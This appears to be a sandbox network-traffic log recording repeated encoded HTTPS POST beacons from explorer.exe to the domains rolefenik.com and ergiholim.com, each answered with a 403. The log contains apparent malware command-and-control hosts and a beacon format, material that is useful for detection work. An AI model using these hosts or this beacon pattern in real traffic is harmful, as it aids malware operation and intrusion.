2024-11-13 17:21:37 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f4TKJqBpqaLi%2BZ5FR07Esw%2FyQ4uwxTz1tPZ6HCRDt5SHIVQon9ikKGizF0x0K9ri%2Fs1FrpG8UsojAEy%2Fv%2BxI2vvJ7ajnvkvisiOFY6v0FaAFavnbjSFlkTwTzTM1g8i2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20706d7f217360-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=146625&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=21544&cwnd=32&unsent_bytes=0&cid=0b7508a203288348&ts=777&x=0"
2024-11-13 17:21:37 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49990	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:39 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:39 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:40 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9kTvOMavf26j1iibm1aSLNkzSrTHJ8zo2tNPLS68zGmD%2BfBCIeeV3uyXhVPjENEDSaF4%2BAvd1dGcxExeHj50dKOy6xyKwUrt3BBOxihOWux85w04LhCEpHpEnvw%2FYeLr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20707d7b97687c-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=137050&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=21240&cwnd=32&unsent_bytes=0&cid=6d163f834ae258d8&ts=721&x=0"
2024-11-13 17:21:40 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49991	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:40 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:40 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:41 UTC	741	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3FoVGZDhveVTAhV2V2m28QmslPRgNuEg8payeIAXYhRkthudPxLd8lPmCyoa5wM1CMOJxbUQJQNt9XlAgDyDVXw2iB7BrQbwltLsTk4gmsp0CGF6U2nGMBKJQ0Y4zOTi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207085f9bfc978-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=33715&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=85957&cwnd=32&unsent_bytes=0&cid=bbef187e0638ecd2&ts=388&x=0"
2024-11-13 17:21:41 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49992	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:42 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:42 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:42 UTC	749	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N2XnpGIVOuyZm0HGEfwSQ0Q8T1xsObXEkw69DoSwhCZyAfkuH7RYWI7ioxkP8mMSwlI03SlrAhN0sQHYSaww5IGme35dsqq2uVKuRNNbZGWdU%2FbCTv9%2B92hK5%2B%2Bds1vQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070907ae6c93c-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=33277&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=87355&cwnd=32&unsent_bytes=0&cid=3ad56ecc8f4f2042&ts=272&x=0"
2024-11-13 17:21:42 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49993	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:43 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:43 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:44 UTC	750	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sEfjc1YARPcS6W99KkJZOg28uaSWtwd8isRR8YSuYlkL9DEnP0nM2C94XtEWCbqN4Xvxa%2Fvzw3%2BmdN4%2B0QyqPv%2FFDKM3OPiMQFNtORO5DhKjzkg64Cz0Gw5dxDurxycM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070983c39e375-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=158580&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=19444&cwnd=32&unsent_bytes=0&cid=dce779f60aff2a93&ts=829&x=0"
2024-11-13 17:21:44 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49994	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:45 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:45 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:46 UTC	750	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ofAS9CWcRnsUuY8sB%2BNZ3KUKUy%2B7LIgaz%2FpEKSThvs8vExT2XEmCF4kjcY5ur1T6yd6CwAXzCT0vQaManc5VhXa0oFDt28gG5sWvjwmeaQzLSNR%2F64kaAkigl3fjAZ3r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070a3df49687d-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=208354&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=13997&cwnd=32&unsent_bytes=0&cid=26dade2761e9e9bf&ts=819&x=0"
2024-11-13 17:21:46 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49995	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:47 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:47 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:47 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HjccpWFZ2%2BSO3q7Tf0NB4hxSNVvPs5%2FO0GPYhl3V%2FGZ40642403UL%2B81Ktxplc4LLHKemvBRWZxon68%2BvaPxzfDMxNOuSd0hN4djUztdDAO4fNxgMs4Q2K2iZEIGe4e1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070b00bc1e375-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=152280&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=18737&cwnd=32&unsent_bytes=0&cid=dc5a5657835f4ce6&ts=561&x=0"
2024-11-13 17:21:47 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49996	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:48 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:48 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:49 UTC	747	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zew1z8nhqT7Mps836AToGZCOSuKUIhmI%2BkmFNSyvpeVX7pbAZqOU8cc4NM0GdP8qcy769dILlYhLYo8msyz74AJlYk1UH%2BQX4RxLBXN6SWpGTSt1dKAit3bP7gjNP81W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070b759fbe7bb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1182&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=2494401&cwnd=251&unsent_bytes=0&cid=e116614cf5528425&ts=458&x=0"
